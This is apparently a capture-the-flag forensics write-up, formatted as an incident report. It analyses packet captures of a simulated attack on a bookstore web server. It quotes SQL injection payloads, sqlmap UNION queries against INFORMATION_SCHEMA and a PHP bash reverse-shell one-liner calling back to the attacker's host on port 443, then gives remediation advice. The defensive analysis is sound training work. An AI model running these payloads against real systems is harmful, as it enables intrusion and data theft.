Post

Incident Response Report: Web Investigation — SQL Injection, Credential Theft & Web Shell Deployment

Incident Response Report: Web Investigation — SQL Injection, Credential Theft & Web Shell Deployment

Platform: CyberDefenders
Challenge: Web Investigation
Category: Network Forensics / Incident Response
Difficulty: Easy
Classification: Confidential
Tools: Wireshark, tshark, whois, ipgeolocation.io, CyberChef
Achievement: Proof of Completion

1. Executive Summary

Incident Type: Web Server Compromise / SQL Injection / Credential Theft / Web Shell Upload

Analyst: Lead SOC Analyst / Threat Hunter

A severe security incident occurred on the BookWorld online bookstore web server (73.124.22.98). An automated alert flagged an unusual spike in database queries and server resource usage. Full network packet capture (PCAP) analysis was initiated.

The investigation revealed that an external threat actor (111.224.250.131, geolocated to Shijiazhuang, China) systematically compromised the web server through a multi-phase attack. The attacker first performed reconnaissance by browsing the site’s structure, then launched automated SQL injection attacks against a vulnerable search endpoint (search.php) using sqlmap. After extracting database contents and admin credentials, the attacker used gobuster to discover a hidden admin panel, authenticated with the stolen credentials, and uploaded a PHP reverse shell (NVri2vhp.php) to establish persistent command-and-control access.

Indicators of Compromise (IOCs)

TypeIndicatorDescription
Attacker IP111.224.250.131External threat actor IP, geolocated to Shijiazhuang, China.
Victim IP73.124.22.98Compromised BookWorld Apache Web Server.
Vulnerable Endpoint/search.phpPHP script vulnerable to SQL injection.
Malicious FileNVri2vhp.phpPHP reverse shell uploaded to /admin/uploads/.
C2 Port443 (TCP)Port used for reverse shell callback, disguised as HTTPS.
Attack Toolssqlmap/1.8.3, gobuster/3.6Automated SQL injection and directory brute-forcing tools.
Stolen Credentialsadmin:admin123!Admin panel credentials extracted via SQL injection.

MITRE ATT&CK Mapping Overview

TacticTechniqueID
ReconnaissanceActive ScanningT1595
Initial AccessExploit Public-Facing ApplicationT1190
ExecutionCommand and Scripting InterpreterT1059
DiscoverySystem Information DiscoveryT1082
DiscoveryFile and Directory DiscoveryT1083
Credential AccessUnsecured CredentialsT1552
Lateral MovementValid AccountsT1078
PersistenceServer Software Component: Web ShellT1505.003
Command and ControlNon-Standard PortT1571

2. Phase 1: Initial Triage & Attacker Identification

Objective: Establish a high-level picture of the capture and isolate the threat actor’s IP.

Protocol Hierarchy Analysis

Opening Statistics → Protocol Hierarchy revealed key characteristics of the captured traffic:

  • 99.9% TCP traffic — expected for a web server
  • 93.9% HTTP — all traffic is unencrypted plaintext, meaning everything is readable
  • 1 MIME Multipart packet — a single file upload, immediately suspicious

The presence of a single MIME Multipart packet stood out immediately. File uploads are rare in normal web traffic, and in the context of a compromise investigation, this was a strong early indicator of a webshell upload.

Wireshark Protocol Hierarchy Statistics showing 99.9% TCP, 93.9% HTTP, and a single suspicious MIME Multipart packet.

IPv4 Conversations & Traffic Volume Analysis

Opening Statistics → Conversations → IPv4 revealed three IPs communicating with the server:

IP AddressPacketsBytesDuration
73.124.22.112210 kBNormal
111.224.250.13188,48429 MB~1334s
170.40.150.12625639 kBNormal

One IP was generating orders of magnitude more traffic than the others — a classic indicator of automated attack tooling. IP 111.224.250.131 generated 88,484 packets (29MB) over approximately 22 minutes.

Wireshark IPv4 Conversations tab showing the attacker IP 111.224.250.131 with 88,484 packets and 29MB of traffic.

OSINT Enrichment: Geolocation & WHOIS

Two sources were cross-referenced to confirm the attacker’s origin.

WHOIS lookup revealed the IP belongs to China Telecom’s Hebei province network:

1
2
3
4
netname:    CHINANET-HE
descr:      CHINANET hebei province network
address:    NO.69 KunLun avenue, Shijiazhuang 050000 China
country:    CN

WHOIS lookup results confirming the attacker IP is registered under China Telecom in Shijiazhuang.

IP Geolocation (ipgeolocation.io) confirmed the origin city as Shijiazhuang, Hebei, China under AS4134 — CHINANET BACKBONE.

ipgeolocation.io confirming the attacker's city as Shijiazhuang, Hebei, China with Threat Score 0.

Analyst Note:
The IP had a Threat Score of 0 — no prior threat reputation. This demonstrates that behavioral analysis matters more than reputation-based detection alone. Relying solely on threat feeds would have missed this attacker entirely.


3. Phase 2: SQL Injection — Initial Access & Database Compromise

Objective: Trace the attacker’s exploitation methodology from reconnaissance through full database compromise.

Application Reconnaissance

Filtering for HTTP requests from the attacker (http && ip.src == 111.224.250.131) revealed a clear attack progression. The attacker first browsed the site normally, visiting /css/style.css, /about.php, /contact.php, and /faq.php — classic application mapping behavior.

Wireshark packet list showing the full sequence of HTTP requests from the attacker IP, from normal browsing through SQL injection payloads.

SQL Injection Probing

Shortly after the reconnaissance phase, requests began targeting search.php with increasingly suspicious parameters:

1
2
3
/search.php?search=test+test     ← Normal-looking probe
/search.php?search=book          ← Normal-looking probe  
/search.php?search=book%27       ← Single quote test! (%27 = ')

The %27 (URL-encoded single quote) is the first sign of SQL injection probing — the attacker is testing whether the parameter is vulnerable by attempting to break the SQL syntax.

First SQL Injection Payload

The first complete SQL injection payload (as opposed to a simple probe) was identified by looking for the earliest request containing structured SQL syntax:

1
/search.php?search=book and 1=1; -- -

Wireshark showing the first SQL injection attempt highlighted — book and 1=1; -- - payload in the search parameter.

Payload breakdown:

ComponentPurpose
bookNormal search term
and 1=1Always-true condition injected into SQL logic
;Statement terminator
-- -SQL comment — kills the rest of the original query

MITRE ATT&CK Reference:
This attack leverages T1190 — Exploit Public-Facing Application (exploiting the SQL injection vulnerability in search.php). The -- - comment terminator is particularly diagnostic — it confirms deliberate SQL manipulation designed to neutralize query syntax errors.

Database Enumeration via sqlmap

The Wireshark filter was refined to search for requests containing schema — a keyword used in MySQL’s INFORMATION_SCHEMA system database:

1
http && ip.src == 111.224.250.131 && http.request.uri contains "schema"

The decoded payload revealed a sophisticated UNION-based injection:

1
2
3
book' UNION ALL SELECT NULL,
CONCAT(0x7178766271, JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b, schema_name)), 0x7176706a71)
FROM INFORMATION_SCHEMA.SCHEMATA-- -
ComponentPurpose
UNION ALL SELECTHijacks the original query
INFORMATION_SCHEMA.SCHEMATAMySQL system table listing all databases
schema_nameColumn containing database names
JSON_ARRAYAGGBundles all results into a single response
0x7178766271 / 0x7176706a71Custom hex delimiters for sqlmap parsing

The User-Agent in this packet confirmed the automation tool: sqlmap/1.8.3#stable.

Wireshark showing the schema enumeration request with sqlmap User-Agent visible in the packet details pane.

Table Enumeration & Data Extraction

After identifying the databases, the attacker moved to enumerate tables. Filtering for table_name revealed the table enumeration query:

Wireshark filtered for table_name enumeration requests, showing the INFORMATION_SCHEMA.TABLES query with Request URI Path highlighted.

The decoded payload targeted the bookworld_db database (hex: 0x626f6f6b776f726c645f6462):

1
2
3
4
book' UNION ALL SELECT NULL,
CONCAT(0x7178766271, JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b, table_name)), 0x7176706a71)
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema IN (0x626f6f6b776f726c645f6462)-- -

Following the HTTP stream of this packet revealed the server’s response with three tables:

1
<p>qxvbq["admin", "books", "customers"]qvpjq</p>

HTTP stream showing the server response containing the extracted table names: admin, books, and customers between sqlmap delimiters.

The server headers also revealed the infrastructure: Apache/2.4.52 (Ubuntu) hosting bookworldstore.com.

MITRE ATT&CK Reference:
The database enumeration maps to T1082 — System Information Discovery (enumerating database schemas) and T1213 — Data from Information Repositories (extracting table contents including credentials from the admin table).


4. Phase 3: Directory Discovery & Admin Panel Compromise

Objective: Trace the attacker’s transition from SQL injection to admin panel access.

Directory Brute-Forcing with Gobuster

Around timestamp 08:12:25, the attack shifted tools. The User-Agent changed from sqlmap to gobuster/3.6 — a directory brute-forcing tool that fires a wordlist of common directory names at the server. Following the HTTP stream of the gobuster traffic revealed hundreds of 404 Not Found responses, with one critical exception:

1
2
3
4
GET /admin HTTP/1.1

HTTP/1.1 301 Moved Permanently
Location: http://bookworldstore.com/admin/

A 301 Moved Permanently response means the directory exists. All other directories returned 404.

Wireshark HTTP stream showing gobuster traffic — 404 Not Found responses followed by a 301 redirect confirming theadmin/ directory exists.

Attack tool summary:

ToolPurposePhase
sqlmap 1.8.3SQL injection automationInitial Access / Execution
gobuster 3.6Directory brute-forcingDiscovery

Admin Panel Credential Brute-Force

With the admin panel located at /admin/, the attacker switched from automated tools to manual browser interaction. The User-Agent changed to Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0.

Filtering for POST requests to the admin panel:

1
http && ip.src == 111.224.250.131 && http.request.method == "POST"

Following each HTTP stream in sequence revealed the login attempts:

PacketCredentials TriedServer Response
88664admin:adminInvalid username or password
88677Another attemptFailed
88681Another attemptFailed
88699admin:admin123!HTTP/1.1 302 Found

Wireshark showing the first failed login attempt — HTTP stream with POST toadmin/login.php, credentials admin:admin, and "Invalid username or password" response.

Packet 88699 showed the successful authentication with decoded form data username=admin&password=admin123! and a 302 Found redirect confirming access.

Wireshark filtered for POST requests from the attacker, showing all login attempts and the final successful authentication with admin:admin123! credentials highlighted in the packet bytes.

Analyst Note:
The credentials were almost certainly extracted from the admin database table via SQL injection earlier in the attack. The attacker first tried admin:admin (a common default), then used the credentials from the database dump. This confirms that the SQL injection provided the foothold for lateral movement into the admin panel.

MITRE ATT&CK Reference:
This phase maps to T1083 — File and Directory Discovery (gobuster brute-forcing) and T1078 — Valid Accounts (using stolen credentials to authenticate).


5. Phase 4: Web Shell Upload & Persistence

Objective: Analyze the attacker’s final actions after gaining admin access — malicious file upload and reverse shell deployment.

PHP Reverse Shell Upload

After successful login, the final POST request stood out immediately — it was the only one targeting /admin/index.php with a content type of application/x-php:

1
88757  POST /admin/index.php  (application/x-php)

Following the HTTP stream revealed a multipart file upload containing a PHP reverse shell:

1
2
3
4
Content-Disposition: form-data; name="fileToUpload"; filename="NVri2vhp.php"
Content-Type: application/x-php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>

Wireshark HTTP stream showing the complete webshell upload — POST toadmin/index.php with NVri2vhp.php containing a PHP reverse shell payload connecting back to the attacker on port 443.

Reverse shell payload breakdown:

ComponentPurpose
<?php exec() ?>PHP function executing system commands
/bin/bash -cRuns a bash command
bash -iOpens an interactive bash shell
>& /dev/tcp/111.224.250.131/443Redirects shell to attacker’s IP on port 443
0>&1Merges stdin/stdout through the same connection

The attacker used port 443 deliberately — this is the standard HTTPS port and is commonly allowed outbound through firewalls, making the reverse shell harder to block.

MITRE ATT&CK Reference:
This phase maps to T1505.003 — Server Software Component: Web Shell (uploading NVri2vhp.php as a persistent backdoor) and T1571 — Non-Standard Port (using port 443 for reverse shell C2, disguised as legitimate HTTPS traffic).

Post-Upload Verification

After uploading the webshell, the attacker browsed to /admin/uploads/ and received a directory listing response:

1
2
3
<title>Index of /admin/uploads</title>
...
<a href="NVri2vhp.php">NVri2vhp.php</a>

This confirmed three critical failures:

  1. The upload succeeded without any file type validation
  2. Apache directory listing was enabled (Options +Indexes) — a critical misconfiguration
  3. The webshell was publicly accessible to anyone who knew the URL

At 08:24:28 — just 11 seconds after the upload — a 500 Internal Server Error was recorded, likely indicating the attacker attempted to trigger the reverse shell. The PCAP capture ended only 2 minutes and 16 seconds after the upload, and the attacker visited the uploads directory twice during this window, confirming verification behavior.


6. Full Attack Timeline

Based on packet timestamps and tool transitions, the complete attack was reconstructed:

Time (UTC)Kill Chain PhaseActivityTool
08:01ReconnaissanceAttacker browses site, maps structureBrowser
08:02WeaponizationSingle-quote SQLi probe (book%27)Manual
08:03Initial AccessFirst structured SQLi payload (book and 1=1; -- -)Manual
08:07Executionsqlmap automation begins — full SQL injectionsqlmap 1.8.3
08:08DiscoveryDatabase and table enumeration via UNION-based SQLisqlmap 1.8.3
08:12DiscoveryDirectory brute-force scangobuster 3.6
08:13Credential AccessAdmin panel login attempts beginBrowser
08:17Lateral MovementSuccessful login with admin:admin123!Browser
08:24PersistencePHP reverse shell uploaded (NVri2vhp.php)Browser
08:24C2 SetupReverse shell payload planted on port 443
08:26VerificationAttacker confirms webshell is accessibleBrowser

7. Remediation & Mitigation Recommendations

Based on the findings, the following remediation steps should be prioritized:

Immediate Actions

  • Take the web server offline and preserve forensic evidence
  • Remove NVri2vhp.php from /admin/uploads/
  • Reset all admin credentials immediately
  • Check for additional uploaded files across all directories
  • Audit all customer accounts for unauthorized access

Short-Term Fixes

  • Patch the SQL injection vulnerability in search.php using parameterized queries/prepared statements
  • Disable Apache directory listing (Options -Indexes in config)
  • Implement file upload validation — restrict allowed file types, reject .php uploads
  • Add WAF rules for SQLi patterns (Web Application Firewall)
  • Block the attacker’s IP (111.224.250.131) at the network perimeter

Long-Term Hardening

  • Implement outbound firewall rules blocking unexpected connections
  • Set up intrusion detection (IDS/IPS) to alert on sqlmap/gobuster User-Agents
  • Enforce the principle of least privilege on the web server user
  • Conduct regular penetration testing on all public-facing applications
  • Ensure passwords are stored using bcrypt or Argon2 — never plaintext or MD5

8. Conclusion

The Web Investigation analysis demonstrates a complete, methodical web server compromise spanning the full kill chain — from reconnaissance to persistent backdoor. Key findings include:

  1. Initial Access: Exploitation of a SQL injection vulnerability on /search.php using automated tooling (sqlmap 1.8.3), enabling full database enumeration and credential extraction.

  2. Attacker Profile: The threat actor operated from IP 111.224.250.131 (Shijiazhuang, China) with zero prior threat reputation, underscoring the importance of behavioral over reputation-based detection.

  3. Discovery & Credential Theft: After database compromise, the attacker used gobuster 3.6 to discover the /admin/ panel and authenticated with credentials (admin:admin123!) extracted via SQL injection.

  4. Persistence: A PHP reverse shell (NVri2vhp.php) was uploaded to /admin/uploads/, configured to call back to the attacker on port 443 to evade firewall restrictions.

  5. Impact: Complete database access (including customer data), admin panel compromise, and a persistent backdoor providing potential full server control.

Key Takeaways for the SOC:

  1. Input Validation: Implement parameterized queries for all database interactions — SQL injection remains one of the most devastating and preventable vulnerabilities.
  2. Web Server Hardening: Disable directory listing, validate file uploads, and restrict script execution in upload directories.
  3. Behavioral Detection: The attacker had zero threat reputation — SOC teams must alert on traffic patterns (volume, User-Agents, request frequency), not just IOC feeds.
  4. Defense in Depth: Each phase of this attack exploited a separate misconfiguration. Any single fix would have broken the kill chain.

Analysis Date: March 21, 2026
Analyst: El OMARI Zakaria

This post is licensed under CC BY 4.0 by the author.